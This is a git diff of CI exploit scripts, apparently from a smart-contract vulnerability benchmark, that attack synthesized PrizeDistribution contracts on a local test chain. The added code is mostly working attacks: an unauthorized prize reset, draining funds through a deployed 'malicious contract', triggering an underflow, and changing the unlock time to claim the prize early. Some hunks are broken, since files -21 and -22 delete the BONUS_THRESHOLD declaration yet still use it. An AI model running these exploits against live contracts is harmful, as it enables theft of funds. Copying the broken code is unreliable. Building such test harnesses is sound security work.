// Sending a large amount to trigger significant lock time extension - gas: 300000 - }); - - console.log(`Large increment sent, tx status: ${largeExtendTx.status}`); - await sleep(500); - - let unlockTime = await contractInstance.methods.unlockTime().call(); - console.log("Final unlock time:", unlockTime); - await sleep(500); - - let currentTime = Math.floor(Date.now() / 1000); - console.log("Current system time:", currentTime); - - // Step 5: Wait until just after the unlock time to try claiming the prize - if (currentTime < unlockTime) { - let waitTime = unlockTime - currentTime + 1; // Wait just past unlock time - console.log(`Waiting for ${waitTime} seconds until unlock time...`); - await new Promise(resolve => setTimeout(resolve, waitTime * 1000)); - await sleep(500); - } - - // Attempt to claim the prize - let claimTx = await contractInstance.methods.claimPrize().send({ - from: beneficiaryAccount, - gas: 300000 - }); - await sleep(500); - - if (claimTx.status) { - console.log("Prize successfully claimed!"); - return true; // Exploit successful - } else { - console.error("Failed to claim the prize!"); - return false; // Exploit failed - } - } catch (error) { - console.error(error.stack); - return false; - } + try { + let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); + let contractInstance = new web3.eth.Contract(abi, contractAddress); + let unauthorizedUser = envInfo.accounts[1]; // An unauthorized user, not the organizer or beneficiary + + console.log("Attempting to reset the prize amount as an unauthorized user..."); + + // Unauthorized user tries to reset the prize amount + let resetTx = await contractInstance.methods.resetPrize().send({ + from: unauthorizedUser, + gas: 300000 + }); + await sleep(200); + + // Check the remaining prize amount after trying to reset + let remainingPrize = await contractInstance.methods.prizeAmount().call(); + console.log(`Remaining prize amount after attempt: ${web3.utils.fromWei(remainingPrize, 'ether')} ETH`); + + if (parseInt(remainingPrize) === 0) { + console.log("Unauthorized prize reset successful: Prize amount was reset by an unauthorized user."); + return true; // Exploit successful + } else { + console.error("Unauthorized prize reset failed: Prize amount remains unchanged."); + return false; // Exploit failed + } + } catch (error) { + console.error("An error occurred during the exploit attempt:", error); + return false; + } } - + + + + + @@ -153,7 +89,6 @@ async function exploit(web3, envInfo, contractAddress) { */ module.exports = async function runTests(web3, envInfo, contractAddress) { // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil - web3 = await createLoggerWeb3(web3); // Execute the exploit let result = await exploit(web3, envInfo, contractAddress); diff --git a/CI/exploits/synthesized/PrizeDistributionExploit-19.js b/CI/exploits/synthesized/PrizeDistributionExploit-19.js index 51c5e6e6..740b1b69 100644 --- a/CI/exploits/synthesized/PrizeDistributionExploit-19.js +++ b/CI/exploits/synthesized/PrizeDistributionExploit-19.js @@ -11,16 +11,15 @@ const { const { setTimeout } = require('timers'); const { sleep } = require('@lib/os/process'); -const { createLoggerWeb3 } = require('@lib/web3/deploy'); +const { createLoggerWeb3 } = require('@lib/web3/deploy'); // It seems module alias does not work with js path, so, we will resort to the dirty approach. const projectRoot = path.resolve(__dirname, '..', '..', '..'); const contractsDir = path.join(projectRoot, './contracts'); -const contractFileFullName = 'PrizeDistribution.sol'; -let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', contractFileFullName), 'utf8'); +const contractFileFullName = 'PrizeDistribution-19.sol'; +let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName), 'utf8'); let solcVersion = extractSolcVersion(source); -let BONUS_THRESHOLD = 10; /** * Attempts to exploit a vulnerability in the ProductOrder smart contract. @@ -34,97 +33,49 @@ let BONUS_THRESHOLD = 10; * @returns {Promise} A promise that resolves to `true` if the exploit is successful, `false` otherwise. * @throws {Error} If there's an error during the exploit process. */ + async function exploit(web3, envInfo, contractAddress) { - try { - let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); - let contractInstance = await new web3.eth.Contract(abi, contractAddress); - let organizerAccount = envInfo.accounts[0]; - let beneficiaryAccount = envInfo.accounts[1]; - - console.log("Starting patterned manipulation..."); - - // Step 1: Incrementally extend the lock time with minimal amounts - for (let i = 0; i < 5; i++) { - let extendTx = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: 1, // Sending the minimal amount (1 wei) - gas: 300000 - }); - - console.log(`Minimal increment ${i+1} sent, tx status: ${extendTx.status}`); - await sleep(200); // Short delay between calls to create slight time differences - } - - // Step 2: Send amounts just above the threshold to trigger minimal bonus periods - for (let i = 0; i < 3; i++) { - let thresholdTx = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: BONUS_THRESHOLD + 1, // Just above the threshold - gas: 300000 - }); - - console.log(`Threshold extension ${i+1} sent, tx status: ${thresholdTx.status}`); - await sleep(300); // Short delay between calls to create slight time differences - } - - // Step 3: Send medium amounts to extend the lock time moderately - for (let i = 0; i < 3; i++) { - let mediumTx = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: BONUS_THRESHOLD / 2, // Medium amount - gas: 300000 - }); - - console.log(`Medium extension ${i+1} sent, tx status: ${mediumTx.status}`); - await sleep(400); // Short delay between calls to create slight time differences - } - - // Step 4: Send a significant amount to further extend the lock time and increase the prize - let largeExtendTx = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: BONUS_THRESHOLD * 4, // Sending a large amount to trigger significant lock time extension - gas: 300000 - }); - - console.log(`Large increment sent, tx status: ${largeExtendTx.status}`); - await sleep(500); - - let unlockTime = await contractInstance.methods.unlockTime().call(); - console.log("Final unlock time:", unlockTime); - await sleep(500); - - let currentTime = Math.floor(Date.now() / 1000); - console.log("Current system time:", currentTime); - - // Step 5: Wait until just after the unlock time to try claiming the prize - if (currentTime < unlockTime) { - let waitTime = unlockTime - currentTime + 1; // Wait just past unlock time - console.log(`Waiting for ${waitTime} seconds until unlock time...`); - await new Promise(resolve => setTimeout(resolve, waitTime * 1000)); - await sleep(500); - } - - // Attempt to claim the prize - let claimTx = await contractInstance.methods.claimPrize().send({ - from: beneficiaryAccount, - gas: 300000 - }); - await sleep(500); - - if (claimTx.status) { - console.log("Prize successfully claimed!"); - return true; // Exploit successful - } else { - console.error("Failed to claim the prize!"); - return false; // Exploit failed - } - } catch (error) { - console.error(error.stack); - return false; - } + try { + let { abi: prizeAbi, bytecode: prizeBytecode } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); + let { abi: attackerAbi, bytecode: attackerBytecode } = await compileWithVersion(source, contractFileFullName, 'PrizeDistributionAttacker', solcVersion); + + let prizeContractInstance = new web3.eth.Contract(prizeAbi, contractAddress); + let attackerContractInstance = new web3.eth.Contract(attackerAbi); + + // Deploy the malicious contract + let attackerAccount = envInfo.accounts[1]; + let deployTx = attackerContractInstance.deploy({ data: attackerBytecode }); + let attackerInstance = await deployTx.send({ from: attackerAccount, gas: 1500000 }); + + console.log("Deployed malicious contract at address:", attackerInstance.options.address); + + // Simulate attack + await prizeContractInstance.methods.simulateAttack(attackerInstance.options.address).send({ from: envInfo.accounts[0], gas: 300000 }); + await sleep(200); + + let remainingPrize = await prizeContractInstance.methods.prizeAmount().call(); + console.log("Remaining prize amount after attack:", web3.utils.fromWei(remainingPrize, 'ether'), "ETH"); + + if (remainingPrize == 0) { + console.log("Attack successful: Prize amount drained."); + return true; + } else { + console.error("Attack failed: Prize amount not fully drained."); + return false; + } + } catch (error) { + console.error("An error occurred during the attack:", error); + return false; + } } - + + + + + + + @@ -144,7 +95,6 @@ async function exploit(web3, envInfo, contractAddress) { */ module.exports = async function runTests(web3, envInfo, contractAddress) { // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil - web3 = await createLoggerWeb3(web3); // Execute the exploit let result = await exploit(web3, envInfo, contractAddress); diff --git a/CI/exploits/synthesized/PrizeDistributionExploit-2.js b/CI/exploits/synthesized/PrizeDistributionExploit-2.js index e4723db1..e34dd4f1 100644 --- a/CI/exploits/synthesized/PrizeDistributionExploit-2.js +++ b/CI/exploits/synthesized/PrizeDistributionExploit-2.js @@ -16,11 +16,10 @@ const { createLoggerWeb3 } = require('@lib/web3/deploy'); // It seems module alias does not work with js path, so, we will resort to the dirty approach. const projectRoot = path.resolve(__dirname, '..', '..', '..'); const contractsDir = path.join(projectRoot, './contracts'); -const contractFileFullName = 'PrizeDistribution.sol'; -let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', contractFileFullName), 'utf8'); +const contractFileFullName = 'PrizeDistribution-2.sol'; +let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName), 'utf8'); let solcVersion = extractSolcVersion(source); -let BONUS_THRESHOLD = 10; /** * Attempts to exploit a vulnerability in the ProductOrder smart contract. @@ -35,65 +34,74 @@ let BONUS_THRESHOLD = 10; * @throws {Error} If there's an error during the exploit process. */ async function exploit(web3, envInfo, contractAddress) { - try { - let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); - let contractInstance = await new web3.eth.Contract(abi, contractAddress); - let organizerAccount = envInfo.accounts[0]; - let beneficiaryAccount = envInfo.accounts[1]; + try { + let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); + let contractInstance = await new web3.eth.Contract(abi, contractAddress); + let organizerAccount = envInfo.accounts[0]; + let beneficiaryAccount = envInfo.accounts[1]; - console.log("Starting to manipulate the prize amount..."); + console.log("Increasing prize amount to create the underflow condition..."); - // Manipulate the prize amount by sending a minimal amount, multiple times - for (let i = 0; i < 5; i++) { - let extendTx = await contractInstance.methods.extendLockTime().send({ + // Step 1: Increase the prize amount significantly + let bulkExtensionTx = await contractInstance.methods.extendLockTime().send({ from: organizerAccount, - value: 1, // Sending the minimal amount (1 wei) + value: web3.utils.toWei('10', 'ether'), // Large extension to raise prize amount gas: 300000 - }); - - console.log(`Manipulation ${i+1} sent, tx status: ${extendTx.status}`); - await sleep(500); // Short delay between calls - } - - let unlockTime = await contractInstance.methods.unlockTime().call(); - console.log("Final unlock time:", unlockTime); - await sleep(500); - - let currentTime = Math.floor(Date.now() / 1000); - console.log("Current system time:", currentTime); - - // Wait until just after the unlockTime to try claiming the prize - if (currentTime < unlockTime) { - let waitTime = unlockTime - currentTime + 1; // Wait just past unlock time - console.log(`Waiting for ${waitTime} seconds until unlock time...`); - await new Promise(resolve => setTimeout(resolve, waitTime * 1000)); - await sleep(500); - } - - // Attempt to claim the prize - let claimTx = await contractInstance.methods.claimPrize().send({ - from: beneficiaryAccount, - gas: 300000 - }); - await sleep(500); - - if (claimTx.status) { - console.log("Prize successfully claimed!"); - return true; // Exploit successful - } else { - console.error("Failed to claim the prize!"); - return false; // Exploit failed - } - } catch (error) { - console.error(error.stack); - return false; - } + }); + await sleep(500); + + if (!bulkExtensionTx.status) { + console.error("Failed to increase prize amount!"); + return false; + } + + // Step 2: Attempt to trigger underflow + let underflowTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: 0, // Sending 0 to trigger underflow + gas: 300000 + }); + await sleep(500); + + console.log(`Underflow attempt status: ${underflowTx.status}`); + + // Step 3: Check if the unlock time was reduced + let unlockTime = await contractInstance.methods.unlockTime().call(); + let currentTime = Math.floor(Date.now() / 1000); + console.log(`Unlock time: ${unlockTime}, Current time: ${currentTime}`); + + if (currentTime >= unlockTime) { + // Attempt to claim the prize + let claimTx = await contractInstance.methods.claimPrize().send({ + from: beneficiaryAccount, + gas: 300000 + }); + + if (claimTx.status) { + console.log("Prize successfully claimed!"); + return true; // Exploit successful + } else { + console.error("Failed to claim the prize!"); + return false; // Exploit failed + } + } else { + console.error("Underflow did not reduce unlock time sufficiently."); + return false; // Exploit failed + } + } catch (error) { + console.error(error.stack); + return false; + } } + + + + /** * Executes the exploit and checks its result * diff --git a/CI/exploits/synthesized/PrizeDistributionExploit-20.js b/CI/exploits/synthesized/PrizeDistributionExploit-20.js index be6b1bfb..2313f7ae 100644 --- a/CI/exploits/synthesized/PrizeDistributionExploit-20.js +++ b/CI/exploits/synthesized/PrizeDistributionExploit-20.js @@ -16,11 +16,10 @@ const { createLoggerWeb3 } = require('@lib/web3/deploy'); // It seems module alias does not work with js path, so, we will resort to the dirty approach. const projectRoot = path.resolve(__dirname, '..', '..', '..'); const contractsDir = path.join(projectRoot, './contracts'); -const contractFileFullName = 'PrizeDistribution.sol'; -let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', contractFileFullName), 'utf8'); +const contractFileFullName = 'PrizeDistribution-20.sol'; +let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName), 'utf8'); let solcVersion = extractSolcVersion(source); -let BONUS_THRESHOLD = 10; /** * Attempts to exploit a vulnerability in the ProductOrder smart contract. @@ -35,107 +34,46 @@ let BONUS_THRESHOLD = 10; * @throws {Error} If there's an error during the exploit process. */ async function exploit(web3, envInfo, contractAddress) { - try { - let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); - let contractInstance = await new web3.eth.Contract(abi, contractAddress); - let organizerAccount = envInfo.accounts[0]; - let beneficiaryAccount = envInfo.accounts[1]; - - console.log("Starting complex pattern manipulation..."); - - // Step 1: Incrementally extend the lock time with minimal amounts - for (let i = 0; i < 5; i++) { - let extendTx = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: 1, // Sending the minimal amount (1 wei) - gas: 300000 - }); - - console.log(`Minimal increment ${i+1} sent, tx status: ${extendTx.status}`); - await sleep(200); // Short delay between calls to create slight time differences - } - - // Step 2: Send amounts just below the threshold to avoid triggering bonuses - for (let i = 0; i < 3; i++) { - let extendTx = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: BONUS_THRESHOLD - 1, // Just below the threshold - gas: 300000 - }); - - console.log(`Just below threshold extension ${i+1} sent, tx status: ${extendTx.status}`); - await sleep(300); // Short delay between calls to create slight time differences - } - - // Step 3: Mix minimal and significant amounts to create confusion - for (let i = 0; i < 3; i++) { - // Send minimal amount - let minimalTx = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: 1, // Sending the minimal amount (1 wei) - gas: 300000 - }); - - console.log(`Minimal extension ${i+1} sent, tx status: ${minimalTx.status}`); - await sleep(200); // Short delay between calls - - // Send significant amount - let significantTx = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: BONUS_THRESHOLD * 2, // Significant amount - gas: 300000 - }); - - console.log(`Significant extension ${i+1} sent, tx status: ${significantTx.status}`); - await sleep(300); // Short delay between calls - } - - // Step 4: Send a final large amount to extend the lock time significantly and increase the prize - let largeExtendTx = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: BONUS_THRESHOLD * 4, // Sending a large amount to trigger significant lock time extension - gas: 300000 - }); - - console.log(`Large increment sent, tx status: ${largeExtendTx.status}`); - await sleep(500); - - let unlockTime = await contractInstance.methods.unlockTime().call(); - console.log("Final unlock time:", unlockTime); - await sleep(500); - - let currentTime = Math.floor(Date.now() / 1000); - console.log("Current system time:", currentTime); - - // Step 5: Wait until just after the unlock time to try claiming the prize - if (currentTime < unlockTime) { - let waitTime = unlockTime - currentTime + 1; // Wait just past unlock time - console.log(`Waiting for ${waitTime} seconds until unlock time...`); - await new Promise(resolve => setTimeout(resolve, waitTime * 1000)); - await sleep(500); - } - - // Attempt to claim the prize - let claimTx = await contractInstance.methods.claimPrize().send({ - from: beneficiaryAccount, - gas: 300000 - }); - await sleep(500); - - if (claimTx.status) { - console.log("Prize successfully claimed!"); - return true; // Exploit successful - } else { - console.error("Failed to claim the prize!"); - return false; // Exploit failed - } - } catch (error) { - console.error(error.stack); - return false; - } + try { + let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); + let contractInstance = new web3.eth.Contract(abi, contractAddress); + let attackerAccount = envInfo.accounts[1]; // Use an attacker's account, not the beneficiary or organizer + + console.log("Attempting to prematurely unlock the prize..."); + + // Setting a new unlock time to the current timestamp or earlier + let currentTime = Math.floor(Date.now() / 1000); + await contractInstance.methods.modifyUnlockTime(currentTime).send({ from: attackerAccount, gas: 300000 }); + await sleep(200); + + // Immediately attempt to claim the prize using the beneficiary's account + await contractInstance.methods.claimPrize().send({ from: envInfo.accounts[2], gas: 300000 }); + await sleep(200); + + let remainingPrize = await contractInstance.methods.prizeAmount().call(); + console.log("Remaining prize amount after attack:", web3.utils.fromWei(remainingPrize, 'ether'), "ETH"); + + if (remainingPrize == 0) { + console.log("Attack successful: Prize claimed prematurely."); + return true; + } else { + console.error("Attack failed: Prize remains unclaimed."); + return false; + } + } catch (error) { + console.error("An error occurred during the exploit attempt:", error); + return false; + } } - + + + + + + + + @@ -155,7 +93,6 @@ async function exploit(web3, envInfo, contractAddress) { */ module.exports = async function runTests(web3, envInfo, contractAddress) { // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil - web3 = await createLoggerWeb3(web3); // Execute the exploit let result = await exploit(web3, envInfo, contractAddress); diff --git a/CI/exploits/synthesized/PrizeDistributionExploit-21.js b/CI/exploits/synthesized/PrizeDistributionExploit-21.js index 0e8e73c0..5f777ad2 100644 --- a/CI/exploits/synthesized/PrizeDistributionExploit-21.js +++ b/CI/exploits/synthesized/PrizeDistributionExploit-21.js @@ -16,11 +16,10 @@ const { createLoggerWeb3 } = require('@lib/web3/deploy'); // It seems module alias does not work with js path, so, we will resort to the dirty approach. const projectRoot = path.resolve(__dirname, '..', '..', '..'); const contractsDir = path.join(projectRoot, './contracts'); -const contractFileFullName = 'PrizeDistribution.sol'; -let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', contractFileFullName), 'utf8'); +const contractFileFullName = 'PrizeDistribution-21.sol'; +let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName), 'utf8'); let solcVersion = extractSolcVersion(source); -let BONUS_THRESHOLD = 10; /** * Attempts to exploit a vulnerability in the ProductOrder smart contract. @@ -35,96 +34,50 @@ let BONUS_THRESHOLD = 10; * @throws {Error} If there's an error during the exploit process. */ async function exploit(web3, envInfo, contractAddress) { - try { - let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); - let contractInstance = await new web3.eth.Contract(abi, contractAddress); - let organizerAccount = envInfo.accounts[0]; - let beneficiaryAccount = envInfo.accounts[1]; - - console.log("Starting strategic small-large manipulation..."); - - // Step 1: Incrementally extend the lock time with minimal amounts - for (let i = 0; i < 6; i++) { - let extendTx = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: 1, // Sending the minimal amount (1 wei) - gas: 300000 - }); - - console.log(`Minimal increment ${i+1} sent, tx status: ${extendTx.status}`); - await sleep(200); // Short delay between calls to create slight time differences - } - - // Step 2: Send a series of small amounts just above the threshold to trigger minimal bonus periods - for (let i = 0; i < 3; i++) { - let smallTx = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: BONUS_THRESHOLD + 1, // Just above the threshold - gas: 300000 - }); - - console.log(`Small extension ${i+1} sent, tx status: ${smallTx.status}`); - await sleep(300); // Short delay between calls to create slight time differences - } - - // Step 3: Send a series of significant amounts to extend the lock time significantly - for (let i = 0; i < 3; i++) { - let significantTx = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: BONUS_THRESHOLD * 2, // Significant amount - gas: 300000 - }); - - console.log(`Significant extension ${i+1} sent, tx status: ${significantTx.status}`); - await sleep(300); // Short delay between calls to create slight time differences - } - - // Step 4: Send a large amount to further extend the lock time and increase the prize - let largeExtendTx = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: BONUS_THRESHOLD * 5, // Sending a large amount to trigger significant lock time extension - gas: 300000 - }); - - console.log(`Large increment sent, tx status: ${largeExtendTx.status}`); - await sleep(500); - - let unlockTime = await contractInstance.methods.unlockTime().call(); - console.log("Final unlock time:", unlockTime); - await sleep(500); - - let currentTime = Math.floor(Date.now() / 1000); - console.log("Current system time:", currentTime); - - // Step 5: Wait until just after the unlock time to try claiming the prize - if (currentTime < unlockTime) { - let waitTime = unlockTime - currentTime + 1; // Wait just past unlock time - console.log(`Waiting for ${waitTime} seconds until unlock time...`); - await new Promise(resolve => setTimeout(resolve, waitTime * 1000)); - await sleep(500); - } - - // Attempt to claim the prize - let claimTx = await contractInstance.methods.claimPrize().send({ - from: beneficiaryAccount, - gas: 300000 - }); - await sleep(500); - - if (claimTx.status) { - console.log("Prize successfully claimed!"); - return true; // Exploit successful - } else { - console.error("Failed to claim the prize!"); - return false; // Exploit failed - } - } catch (error) { - console.error(error.stack); - return false; - } + try { + let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); + let contractInstance = new web3.eth.Contract(abi, contractAddress); + let organizerAccount = envInfo.accounts[0]; // Assuming this account is the organizer's + + console.log("Attempting to exploit the boundary condition flaw..."); + + // Send an amount exactly equal to the BONUS_THRESHOLD + let amountToSend = BONUS_THRESHOLD; // Exactly the threshold to trigger the bug + + await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: amountToSend, + gas: 300000 + }); + await sleep(200); + + // Check the unlock time after attempting to extend + let updatedUnlockTime = await contractInstance.methods.unlockTime().call(); + let currentTime = Math.floor(Date.now() / 1000); + + console.log(`Updated unlock time: ${new Date(updatedUnlockTime * 1000).toString()}, Current time: ${new Date(currentTime * 1000).toString()}`); + + if (updatedUnlockTime <= currentTime) { + console.log("Unlock time was not extended as expected due to the boundary condition flaw."); + return true; // Exploit successful, demonstrating the flaw + } else { + console.error("The unlock time was extended, indicating the exploit did not trigger the flaw."); + return false; // Exploit failed to demonstrate the flaw + } + } catch (error) { + console.error("An error occurred during the exploit attempt:", error); + return false; + } } - + + + + + + + + @@ -144,7 +97,6 @@ async function exploit(web3, envInfo, contractAddress) { */ module.exports = async function runTests(web3, envInfo, contractAddress) { // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil - web3 = await createLoggerWeb3(web3); // Execute the exploit let result = await exploit(web3, envInfo, contractAddress); diff --git a/CI/exploits/synthesized/PrizeDistributionExploit-22.js b/CI/exploits/synthesized/PrizeDistributionExploit-22.js index 193f5478..7989eb95 100644 --- a/CI/exploits/synthesized/PrizeDistributionExploit-22.js +++ b/CI/exploits/synthesized/PrizeDistributionExploit-22.js @@ -16,11 +16,10 @@ const { createLoggerWeb3 } = require('@lib/web3/deploy'); // It seems module alias does not work with js path, so, we will resort to the dirty approach. const projectRoot = path.resolve(__dirname, '..', '..', '..'); const contractsDir = path.join(projectRoot, './contracts'); -const contractFileFullName = 'PrizeDistribution.sol'; -let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', contractFileFullName), 'utf8'); +const contractFileFullName = 'PrizeDistribution-22.sol'; +let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName), 'utf8'); let solcVersion = extractSolcVersion(source); -let BONUS_THRESHOLD = 10; /** * Attempts to exploit a vulnerability in the ProductOrder smart contract. @@ -33,106 +32,60 @@ let BONUS_THRESHOLD = 10; * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. * @returns {Promise} A promise that resolves to `true` if the exploit is successful, `false` otherwise. * @throws {Error} If there's an error during the exploit process. - */ -async function exploit(web3, envInfo, contractAddress) { - try { - let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); - let contractInstance = await new web3.eth.Contract(abi, contractAddress); - let organizerAccount = envInfo.accounts[0]; - let beneficiaryAccount = envInfo.accounts[1]; - - console.log("Starting precise timing and value manipulation..."); - - // Step 1: Incrementally extend the lock time with minimal amounts - for (let i = 0; i < 7; i++) { - let extendTx = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: 1, // Sending the minimal amount (1 wei) - gas: 300000 - }); - - console.log(`Minimal increment ${i+1} sent, tx status: ${extendTx.status}`); - await sleep(200); // Short delay between calls to create slight time differences - } - - // Step 2: Send amounts just below the threshold to avoid triggering bonuses - for (let i = 0; i < 4; i++) { - let extendTx = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: BONUS_THRESHOLD - 1, // Just below the threshold - gas: 300000 - }); - - console.log(`Just below threshold extension ${i+1} sent, tx status: ${extendTx.status}`); - await sleep(300); // Short delay between calls to create slight time differences - } - - // Step 3: Alternate between minimal and medium amounts - for (let i = 0; i < 3; i++) { - // Send minimal amount - let minimalTx = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: 1, // Sending the minimal amount (1 wei) - gas: 300000 - }); - - console.log(`Minimal extension ${i+1} sent, tx status: ${minimalTx.status}`); - await sleep(200); // Short delay between calls - - // Send medium amount - let mediumTx = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: BONUS_THRESHOLD / 2, // Medium amount - gas: 300000 - }); - - console.log(`Medium extension ${i+1} sent, tx status: ${mediumTx.status}`); - await sleep(300); // Short delay between calls - } - - // Step 4: Send a large amount to significantly extend the lock time and increase the prize - let largeExtendTx = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: BONUS_THRESHOLD * 3, // Sending a large amount to trigger significant lock time extension - gas: 300000 - }); - - console.log(`Large increment sent, tx status: ${largeExtendTx.status}`); - await sleep(500); - - let unlockTime = await contractInstance.methods.unlockTime().call(); - console.log("Final unlock time:", unlockTime); - await sleep(500); - - let currentTime = Math.floor(Date.now() / 1000); - console.log("Current system time:", currentTime); - - // Step 5: Wait until just after the unlock time to try claiming the prize - if (currentTime < unlockTime) { - let waitTime = unlockTime - currentTime + 1; // Wait just past unlock time - console.log(`Waiting for ${waitTime} seconds until unlock time...`); - await new Promise(resolve => setTimeout(resolve, waitTime * 1000)); - await sleep(500); - } - - // Attempt to claim the prize - let claimTx = await contractInstance.methods.claimPrize().send({ - from: beneficiaryAccount, - gas: 300000 - }); - await sleep(500); - - if (claimTx.status) { - console.log("Prize successfully claimed!"); - return true; // Exploit successful - } else { - console.error("Failed to claim the prize!"); - return false; // Exploit failed - } - } catch (error) { - console.error(error.stack); - return false; - } + */async function exploit(web3, envInfo, contractAddress) { + try { + let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); + let contractInstance = await new web3.eth.Contract(abi, contractAddress); + let organizerAccount = envInfo.accounts[0]; + let beneficiaryAccount = envInfo.accounts[1]; + + console.log("Starting to extend the lock time..."); + + // Extend the lock time with small amounts just below the threshold, multiple times + for (let i = 0; i < 5; i++) { + let extendTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: BONUS_THRESHOLD - 1, // Sending just below the threshold amount + gas: 300000 + }); + + console.log(`Extension ${i + 1} sent, tx status: ${extendTx.status}`); + await sleep(500); // Short delay between calls + } + + let unlockTime = await contractInstance.methods.unlockTime().call(); + console.log("Final unlock time:", unlockTime); + await sleep(500); + + let currentTime = Math.floor(Date.now() / 1000); + console.log("Current system time:", currentTime); + + // Wait until just after the unlockTime to try claiming the prize + if (currentTime < unlockTime) { + let waitTime = unlockTime - currentTime + 1; // Wait just past unlock time + console.log(`Waiting for ${waitTime} seconds until unlock time...`); + await new Promise(resolve => setTimeout(resolve, waitTime * 1000)); + await sleep(500); + } + + // Attempt to claim the prize + let claimTx = await contractInstance.methods.claimPrize().send({ + from: beneficiaryAccount, + gas: 300000 + }); + await sleep(500); + + if (claimTx.status) { + console.log("Prize successfully claimed!"); + return true; // Exploit successful + } else { + console.error("Failed to claim the prize!"); + return false; // Exploit failed + } + } catch (error) { + console.error(error.stack); + return false; + } } @@ -140,6 +93,13 @@ async function exploit(web3, envInfo, contractAddress) { + + + + + + + /** * Executes the exploit and checks its result * @@ -154,7 +114,6 @@ async function exploit(web3, envInfo, contractAddress) { */ module.exports = async function runTests(web3, envInfo, contractAddress) { // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil - web3 = await createLoggerWeb3(web3); // Execute the exploit let result = await exploit(web3, envInfo, contractAddress); diff --git a/CI/exploits/synthesized/PrizeDistributionExploit-23.js b/CI/exploits/synthesized/PrizeDistributionExploit-23.js index 5d87d3bf..21744884 100644 --- a/CI/exploits/synthesized/PrizeDistributionExploit-23.js +++ b/CI/exploits/synthesized/PrizeDistributionExploit-23.js @@ -16,11 +16,10 @@ const { createLoggerWeb3 } = require('@lib/web3/deploy'); // It seems module alias does not work with js path, so, we will resort to the dirty approach. const projectRoot = path.resolve(__dirname, '..', '..', '..'); const contractsDir = path.join(projectRoot, './contracts'); -const contractFileFullName = 'PrizeDistribution.sol'; -let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', contractFileFullName), 'utf8'); +const contractFileFullName = 'PrizeDistribution-23.sol'; +let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName), 'utf8'); let solcVersion = extractSolcVersion(source); -let BONUS_THRESHOLD = 10; /** * Attempts to exploit a vulnerability in the ProductOrder smart contract. @@ -35,96 +34,51 @@ let BONUS_THRESHOLD = 10; * @throws {Error} If there's an error during the exploit process. */ async function exploit(web3, envInfo, contractAddress) { - try { - let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); - let contractInstance = await new web3.eth.Contract(abi, contractAddress); - let organizerAccount = envInfo.accounts[0]; - let beneficiaryAccount = envInfo.accounts[1]; - - console.log("Starting staggered medium values manipulation..."); - - // Step 1: Incrementally extend the lock time with minimal amounts - for (let i = 0; i < 6; i++) { - let extendTx = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: 1, // Sending the minimal amount (1 wei) - gas: 300000 - }); - - console.log(`Minimal increment ${i+1} sent, tx status: ${extendTx.status}`); - await sleep(200); // Short delay between calls to create slight time differences - } - - // Step 2: Send amounts just above the threshold to trigger minimal bonus periods - for (let i = 0; i < 4; i++) { - let thresholdTx = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: BONUS_THRESHOLD + 1, // Just above the threshold - gas: 300000 - }); - - console.log(`Threshold extension ${i+1} sent, tx status: ${thresholdTx.status}`); - await sleep(300); // Short delay between calls to create slight time differences - } - - // Step 3: Send staggered medium amounts - for (let i = 0; i < 